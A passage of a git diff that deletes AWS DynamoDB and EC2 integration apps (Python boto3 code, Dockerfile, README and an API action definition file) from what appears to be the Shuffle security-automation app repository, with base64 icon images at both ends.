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 \ No newline at end of file diff --git a/aws-dynamodb/1.0.0/requirements.txt b/aws-dynamodb/1.0.0/requirements.txt deleted file mode 100644 index 97f3f4de..00000000 --- a/aws-dynamodb/1.0.0/requirements.txt +++ /dev/null @@ -1,3 +0,0 @@ -boto3==1.16.59 -bson==0.5.10 -requests==2.25.1 \ No newline at end of file diff --git a/aws-dynamodb/1.0.0/src/app.py b/aws-dynamodb/1.0.0/src/app.py deleted file mode 100644 index 538be935..00000000 --- a/aws-dynamodb/1.0.0/src/app.py +++ /dev/null @@ -1,79 +0,0 @@ -import socket -import asyncio -import time -import random -import json -import boto3 -import botocore -from botocore.config import Config - -from walkoff_app_sdk.app_base import AppBase - -class AWSDynamoDB(AppBase): - __version__ = "1.0.0" - app_name = "AWS DynamoDB" - - def __init__(self, redis, logger, console_logger=None): - """ - Each app should have this __init__ to set up Redis and logging. - :param redis: - :param logger: - :param console_logger: - """ - super().__init__(redis, logger, console_logger) - - def auth_dynamodb(self, access_key, secret_key, region): - my_config = Config( - region_name = region, - signature_version = "dynamodbv4", - retries = { - 'max_attempts': 10, - 'mode': 'standard', - }, - ) - - self.dynamodb = boto3.resource( - 'dynamodb', - config=my_config, - aws_access_key_id=access_key, - aws_secret_access_key=secret_key, - ) - - return self.dynamodb - - def list_tables(self, access_key, secret_key, region): - self.dynamodb = self.auth_dynamodb(access_key, secret_key, region) - client = self.dynamodb.meta.client - try: - return client.list_tables() - except botocore.exceptions.ClientError as e: - return "Error: %s" % e - - def list_global_tables(self, access_key, secret_key, region): - self.dynamodb = self.auth_dynamodb(access_key, secret_key, region) - client = self.dynamodb.meta.client - try: - return client.list_global_tables() - except botocore.exceptions.ClientError as e: - return "Error: %s" % e - - def get_global_table_setttings(self, access_key, secret_key, region, table_name): - self.dynamodb = self.auth_dynamodb(access_key, secret_key, region) - client = self.dynamodb.meta.client - - try: - return client.describe_global_table_settings(GlobalTableName=table_name) - except botocore.exceptions.ClientError as e: - return "Error: %s" % e - - def get_backups(self, access_key, secret_key, region, table_name): - self.dynamodb = self.auth_dynamodb(access_key, secret_key, region) - client = self.dynamodb.meta.client - - try: - return client.list_backups(TableName=table_name) - except botocore.exceptions.ClientError as e: - return "Error: %s" % e - -if __name__ == "__main__": - AWSDynamoDB.run() diff --git a/aws-ec2/1.0.0/Dockerfile b/aws-ec2/1.0.0/Dockerfile deleted file mode 100644 index 364e1531..00000000 --- a/aws-ec2/1.0.0/Dockerfile +++ /dev/null @@ -1,26 +0,0 @@ -# Base our app image off of the WALKOFF App SDK image -FROM frikky/shuffle:app_sdk as base - -# We're going to stage away all of the bloat from the build tools so lets create a builder stage -FROM base as builder - -# Install all alpine build tools needed for our pip installs -RUN apk --no-cache add --update alpine-sdk libffi libffi-dev musl-dev openssl-dev - -# Install all of our pip packages in a single directory that we can copy to our base image later -RUN mkdir /install -WORKDIR /install -COPY requirements.txt /requirements.txt -RUN pip install --prefix="/install" -r /requirements.txt - -# Switch back to our base image and copy in all of our built packages and source code -FROM base -COPY --from=builder /install /usr/local -COPY src /app - -# Install any binary dependencies needed in our final image -# RUN apk --no-cache add --update my_binary_dependency - -# Finally, lets run our app! -WORKDIR /app -CMD python app.py --log-level DEBUG diff --git a/aws-ec2/1.0.0/README.md b/aws-ec2/1.0.0/README.md deleted file mode 100644 index 40a52faf..00000000 --- a/aws-ec2/1.0.0/README.md +++ /dev/null @@ -1,42 +0,0 @@ -## AWS EC2 App -AWS EC2 (Elastic Compute Cloud) app to interact with Amazon EC2 from Shuffle. - -![alt_text](https://github.com/frikky/Shuffle-apps/blob/master/aws-ec2/1.0.0/ec2.png?raw=true) - -## Actions - -| No. | Action | Description | Parameters | -|-----|--------|-------------|------------| -|1 | Create Image | Creates an Amazon EBS-backed AMI from an Amazon EBS-backed instance that is either running or stopped. | access_key, secret_key, region, **InstanceId**, Description, **Name**, NoReboot, **DryRun** -|2 | Deregister Image | Deregisters the specified AMI (Amazon Machine Image). | access_key, secret_key, region, **ImageId**, **DryRun** -|3 | Create snapshot | Creates a snapshot of an EBS volume and stores it in Amazon S3. | access_key, secret_key, region, Description, **VolumeId**, **DryRun** -|4 | Delete snapshot | Deletes the specified snapshot. | access_key, secret_key, region, user_name, **SnapshotId**, **DryRun** -|5 | Create network interface | Creates a network interface in the specified subnet. | access_key, secret_key, region, Description, **Subnetid**, **DryRun** -|6 | Delete network interface | Deletes the specified network interface. | access_key, secret_key, region, user_name, **NetworkInterfaceId**, **DryRun** -|7 | Describe address | Describes the specified Elastic IP addresses or all of your Elastic IP addresses. | access_key, secret_key, region, *PublicIps*, **DryRun** -|8 | Describe keypair | Describes the specified key pairs or all of your key pairs. | access_key, secret_key, region, *KeyNames*, *KeyPairIds*, **DryRun** -|9 | Describe networkacls | Describes one or more of your network ACLs. | access_key, secret_key, region, ***NetworkAclIds***, **DryRun** -|10 | Describe securitygroups | Describes the specified security groups or all of your security groups. | access_key, secret_key, region, *GroupIds*, **DryRun** -|11 | Describe_vpc | Describes one or more of your VPCs | access_key, secret_key, region, *VpcIds*, **DryRun** -|12 | Get rules | Gets the rules for an ACL ID, A resource representing an EC2 NetworkAcl | access_key, secret_key, region, **NetworkAclId**, **DryRun** -|13 | Block ip | Creates a new firewall entry to block an IP | access_key, secret_key, region, **NetworkAclId**, **ip**, **direction**, **DryRun** -|14 | instance state change | Termiante/Start/Stop an EC2 Instance | access_key, secret_key, region, **instance_id**, **action**, **DryRun** -|15 | Create acl_entry| Creates an ACL entry |access_key, secret_key, region, **NetworkAclId** , **cidr_block**, **direction**, **portrange_from**, **portrange_to**, **protocol**, **rule_action**, **rule_number**, **DryRun** - -__Note__: -- access_key, secret_key and region are used for authentication. -- **Bold** Parameters are compulsory required. -- *Italic* Parameters can take single value as well as multiple values in comma separated manner (E.g. value1,value2,value3 ) -## Requirements - -1. AWS account -2. Access key, Secret key and region of the user. - -- __How to find access key & secret key ?__ -1. Open https://console.aws.amazon.com/ -2. From navbar click on user dropwodown → My Security Credentials. -3. Open the Access keys tab, and then choose Create access key. -4. To see the new access key, choose Show. Your credentials resemble the following: - - Access key ID: AKIAIOSFODNN7EXAMPLE - - Secret access key: wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY - diff --git a/aws-ec2/1.0.0/api.yaml b/aws-ec2/1.0.0/api.yaml deleted file mode 100644 index 8f84bbec..00000000 --- a/aws-ec2/1.0.0/api.yaml +++ /dev/null @@ -1,566 +0,0 @@ -app_version: 1.0.0 -name: AWS ec2 -description: An app to interact with Amazon EC2 -contact_info: - name: "@shalinbhavsar" - url: https://shuffler.io - email: shalinb@infopercept.com -tags: - - Network - - Assets -categories: - - Network - - Assets -authentication: - required: true - parameters: - - name: access_key - description: The access key to use - example: "*****" - required: true - schema: - type: string - - name: secret_key - description: The secret key to use - example: "*****" - required: true - schema: - type: string - - name: region - description: The region to use - example: "ap-south-1" - required: true - schema: - type: string -actions: - - name: block_ip - description: Creates a new firewall entry to block an IP - parameters: - - name: NetworkAclId - description: The NetworkAclId to edit - required: true - multiline: false - example: 'acl-0f91affa651ff09f4' - schema: - type: string - - name: ip - description: The IP to handle - required: true - multiline: false - example: '10.0.0.0' - schema: - type: string - - name: direction - description: The direction the rule applies to - required: true - multiline: false - example: '{"data": "testing"}' - options: - - inbound - - outbound - schema: - type: string - returns: - schema: - type: string - - name: get_rules - description: Gets the rules for an ACL ID - parameters: - - name: NetworkAclId - description: The NetworkAcl's id identifier. - required: true - multiline: false - example: 'acl-0f91affa651ff09f4' - schema: - type: string - returns: - schema: - type: string - - name: create_acl_entry - description: Creates an ACL entry - parameters: - - name: NetworkAclId - description: The NetworkAclId id to edit - required: true - multiline: false - example: 'acl-0f91affa651ff09f4' - schema: - type: string - - name: cidr_block - description: The IP's to handle - required: true - multiline: false - example: '10.0.0.0/24' - schema: - type: string - - name: dryrun - description: Test or not - required: true - multiline: false - example: '{"data": "testing"}' - options: - - true - - false - schema: - type: string - - name: direction - description: The direction the rule applies to - required: true - multiline: false - example: '{"data": "testing"}' - options: - - inbound - - outbound - schema: - type: string - - name: portrange_from - description: The JSON to handle - required: true - multiline: false - example: '12344' - schema: - type: string - - name: portrange_to - description: The JSON to handle - required: true - multiline: false - example: '12345' - schema: - type: string - - name: protocol - description: The JSON to handle - required: true - multiline: false - example: 'TCP' - schema: - type: string - - name: rule_action - description: The JSON to handle - required: true - multiline: false - example: '' - options: - - allow - - deny - schema: - type: string - - name: rule_number - description: The selected python function to run - required: true - multiline: false - example: '120' - schema: - type: string - returns: - schema: - type: string - - name: instance_state_change - description: Termiante/Start/Stop an EC2 Instance - parameters: - - name: instance_id - description: Instance ID to change - required: true - multiline: false - example: 'i-0bec2a0bf000bb71c' - schema: - type: string - - name: action - description: Action to perform on EC2 Instance - required: true - multiline: false - example: 'terminate|start|stop' - options: - - terminate - - start - - stop - schema: - type: string - - name: dryrun - description: Test or not - required: true - multiline: false - example: 'True|False' - options: - - True - - False - schema: - type: string - returns: - schema: - type: string - - name: create_network_interface - description: Creates a network interface in the specified subnet. - parameters: - - name: description - description: A description for the network interface. - required: false - multiline: false - example: 'A description for the network interface.' - schema: - type: string - - name: subnetid - description: The ID of the subnet to associate with the network interface. - required: true - multiline: false - example: 'subnet-1491c1e8d873c06de' - schema: - type: string - - name: dryrun - description: Test or not - required: true - multiline: false - example: 'True|False' - options: - - True - - False - schema: - type: string - returns: - schema: - type: string - - name: create_image - description: Creates an Amazon EBS-backed AMI from an Amazon EBS-backed instance that is either running or stopped. - parameters: - - name: description - description: A description for the new image. - required: false - multiline: false - example: 'An AMI for my server' - schema: - type: string - - name: instance_id - description: The ID of the instance. - required: true - multiline: false - example: 'i-0bec2a0bf000bb71c' - schema: - type: string - - name: name - description: A name for the new image. - required: true - multiline: false - example: 'My server' - schema: - type: string - - name: dryrun - description: Test or not - required: true - multiline: false - example: 'True|False' - options: - - True - - False - schema: - type: string - - name: noreboot - description: - required: true - multiline: false - example: 'True|False' - options: - - True - - False - schema: - type: string - returns: - schema: - type: string - - name: deregister_an_image - description: Deregisters the specified AMI. - parameters: - - name: image_id - description: The ID of the AMI. - required: true - multiline: false - example: 'ami-0fa80fbg05d0c7e49' - schema: - type: string - - name: dryrun - description: Test or not - required: true - multiline: false - example: 'True|False' - options: - - True - - False - schema: - type: string - returns: - schema: - type: string - - name: create_snapshot - description: creating a snapshot - parameters: - - name: description - description: A description for the snapshot. - required: false - multiline: false - example: 'This is my root volume snapshot.' - schema: - type: string - - name: volume_id - description: The ID of the EBS volume. - required: true - multiline: false - example: 'vol-1234567890abcdef0' - schema: - type: string - - name: dryrun - description: Test or not - required: true - multiline: false - example: 'True|False' - options: - - True - - False - schema: - type: string - returns: - schema: - type: string - - name: delete_snapshot - description: deleting a snapshot - parameters: - - name: snapshot_id - description: The ID of the EBS snapshot. - required: true - multiline: false - example: 'snap-07cfcb1eb6d1a3df8' - schema: - type: string - - name: dryrun - description: Test or not - required: true - multiline: false - example: 'True|False' - options: - - True - - False - schema: - type: string - returns: - schema: - type: string - - name: delete_network_interface - description: deleting a network interface - parameters: - - name: networkinterface_id - description: network interface id to delete - required: true - multiline: false - example: 'eni-049b032ab651c9cd2' - schema: - type: string - - name: dryrun - description: Test or not - required: true - multiline: false - example: 'True|False' - options: - - True - - False - schema: - type: string - returns: - schema: - type: string - - name: describe_address - description: Describes the specified Elastic IP addresses or all of your Elastic IP addresses. - parameters: - - name: publicips - description: One or more Elastic IP addresses. - required: False - multiline: false - example: '203.0.113.0' - schema: - type: string - - name: dryrun - description: Test or not - required: true - multiline: false - example: 'True|False' - options: - - True - - False - schema: - type: string - returns: - schema: - type: string - - name: describe_keypair - description: Describes the specified key pairs or all of your key pairs. - parameters: - - name: option - description: KeyNames or KeyPairIds - required: false - multiline: false - options: - - KeyNames - - KeyPairIds - schema: - type: string - - name: value - description: Option's value - required: false - multiline: false - example: 'my-key-pair' - schema: - type: string - - name: dryrun - description: Test or not - required: true - multiline: false - example: 'True|False' - options: - - True - - False - schema: - type: string - returns: - schema: - type: string - - name: describe_networkacls - description: Describes one or more of your network ACLs. - parameters: - - name: networkAcl_Id - description: The ID of the network ACL. - required: false - multiline: false - example: 'acl-5fb85d36' - schema: - type: string - - name: dryrun - description: Test or not - required: true - multiline: false - example: 'True|False' - options: - - True - - False - schema: - type: string - returns: - schema: - type: string - - name: describe_securitygroups - description: Describes the specified security groups or all of your security groups. - parameters: - - name: option - description: KeyNames or KeyPairIds - required: false - multiline: false - options: - - GroupIds - # - GroupNames - schema: - type: string - - name: value - description: Option's value - required: false - multiline: false - example: 'string' - schema: - type: string - - name: dryrun - description: Test or not - required: true - multiline: false - example: 'True|False' - options: - - True - - False - schema: - type: string - returns: - schema: - type: string - - name: describe_vpc - description: Describes one or more of your VPCs. - parameters: - - name: vpcid - description: One or more VPC IDs. - required: false - multiline: false - example: 'string' - schema: - type: string - - name: dryrun - description: Test or not - required: true - multiline: false - example: 'True|False' - options: - - True - - False - schema: - type: string - returns: - schema: - type: string - - name: create_an_instance - description: creates an ec2 instance. - parameters: - - name: dryrun - description: Test or not - required: true - multiline: false - example: 'True|False' - options: - - True - - False - schema: - type: string - - name: image_id - description: AMI ID. - required: true - multiline: false - example: 'ami-0969b41569eb56' - schema: - type: string - - name: min_count - description: min count - required: true - multiline: false - example: '1' - schema: - type: string - - name: max_count - description: min count - required: true - multiline: false - example: '1' - schema: - type: string - - name: instance_type - description: instance type - required: true - multiline: false - example: 't2.micro' - schema: - type: string - - name: user_data - description: user data. - required: true - multiline: true - example: 'user data text' - schema: - type: string - - name: key_name - description: key name. - required: true - multiline: false - example: 'key_name' - schema: - type: string - - name: security_group_ids - description: Secuirty group ids - required: false - multiline: false - example: 'multiple id seperated by space' - schema: - type: string - returns: - schema: - type: string - -large_image: data:image/png;base64,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